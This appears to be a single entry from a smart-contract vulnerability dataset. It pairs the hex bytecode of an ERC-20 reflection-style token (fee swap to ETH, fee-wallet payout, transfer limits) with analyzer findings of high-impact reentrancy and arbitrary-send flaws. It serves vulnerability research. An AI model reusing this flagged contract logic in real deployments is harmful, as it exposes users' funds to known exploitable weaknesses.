00160a01b0316331461089b57600080fd5b600981106108a857600080fd5b600855565b600061034f338484610a48565b6009546001600160a01b031633146108d157600080fd5b4761075881610efe565b600061091d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f3c565b9392505050565b6001600160a01b0383166109865760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610450565b6001600160a01b0382166109e75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610450565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610aac5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610450565b6001600160a01b038216610b0e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610450565b60008111610b705760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610450565b6000546001600160a01b03848116911614801590610b9c57506000546001600160a01b03838116911614155b15610cbd57600c546001600160a01b038481169116148015610bcc5750600b546001600160a01b03838116911614155b8015610bf157506001600160a01b03821660009081526004602052604090205460ff16155b15610c4757600a548110610c475760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610450565b6000610c52306107be565b600c54909150600160a81b900460ff16158015610c7d5750600c546001600160a01b03858116911614155b8015610c925750600c54600160b01b900460ff165b15610cbb57610ca081610d07565b47670de0b6b3a76400008110610cb957610cb947610efe565b505b505b610cc8838383610f6a565b505050565b60008184841115610cf15760405162461bcd60e51b815260040161045091906113a1565b506000610cfe848661167c565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d4f57610d4f611693565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610da8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dcc919061160f565b81600181518110610ddf57610ddf611693565b6001600160a01b039283166020918202929092010152600b54610e059130911684610924565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e3e9085906000908690309042906004016116a9565b600060405180830381600087803b158015610e5857600080fd5b505af1158015610e6c573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b6000600554821115610ee85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610450565b6000610ef2610f75565b905061091d83826108db565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610f38573d6000803e3d6000fd5b5050565b60008183610f5d5760405162461bcd60e51b815260040161045091906113a1565b506000610cfe848661171a565b610cc8838383610f98565b6000806000610f8261108f565b9092509050610f9182826108db565b9250505090565b600080600080600080610faa87611111565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610fdc908761116e565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461100b90866111b0565b6001600160a01b03891660009081526002602052604090205561102d8161120f565b6110378483611259565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161107c91815260200190565b60405180910390a3505050505050505050565b6005546000908190816110a46006600a6115e1565b6110b290630e4e1c006115f0565b90506110da6110c36006600a6115e1565b6110d190630e4e1c006115f0565b600554906108db565b821015611108576005546110f06006600a6115e1565b6110fe90630e4e1c006115f0565b9350935050509091565b90939092509050565b600080600080600080600080600061112e8a60075460085461127d565b925092509250600061113e610f75565b905060008060006111518e8787876112d2565b919e509c509a509598509396509194505050505091939550919395565b600061091d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ccd565b6000806111bd838561173c565b90508381101561091d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610450565b6000611219610f75565b905060006112278383611322565b3060009081526002602052604090205490915061124490826111b0565b30600090815260026020526040902055505050565b600554611266908361116e565b60055560065461127690826111b0565b6006555050565b600080808061129760646112918989611322565b906108db565b905060006112aa60646112918a89611322565b905060006112c2826112bc8b8661116e565b9061116e565b9992985090965090945050505050565b60008080806112e18886611322565b905060006112ef8887611322565b905060006112fd8888611322565b9050600061130f826112bc868661116e565b939b939a50919850919650505050505050565b60008261133157506000610353565b600061133d83856115f0565b90508261134a858361171a565b1461091d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610450565b600060208083528351808285015260005b818110156113ce578581018301518582016040015282016113b2565b818111156113e0576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461075857600080fd5b6000806040838503121561141e57600080fd5b8235611429816113f6565b946020939093013593505050565b60008060006060848603121561144c57600080fd5b8335611457816113f6565b92506020840135611467816113f6565b929592945050506040919091013590565b60006020828403121561148a57600080fd5b813561091d816113f6565b6000602082840312156114a757600080fd5b5035919050565b600080604083850312156114c157600080fd5b82356114cc816113f6565b915060208301356114dc816113f6565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561153857816000190482111561151e5761151e6114e7565b8085161561152b57918102915b93841c9390800290611502565b509250929050565b60008261154f57506001610353565b8161155c57506000610353565b8160018114611572576002811461157c57611598565b6001915050610353565b60ff84111561158d5761158d6114e7565b50506001821b610353565b5060208310610133831016604e8410600b84101617156115bb575081810a610353565b6115c583836114fd565b80600019048211156115d9576115d96114e7565b029392505050565b600061091d60ff841683611540565b600081600019048311821515161561160a5761160a6114e7565b500290565b60006020828403121561162157600080fd5b815161091d816113f6565b60008060006060848603121561164157600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561166c57600080fd5b8151801515811461091d57600080fd5b60008282101561168e5761168e6114e7565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116f95784516001600160a01b0316835293830193918301916001016116d4565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261173757634e487b7160e01b600052601260045260246000fd5b500490565b6000821982111561174f5761174f6114e7565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f55b31a68b7fc1f16beafc07a90b285b414b9597d984e242336c7f04982d0c2264736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,399 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.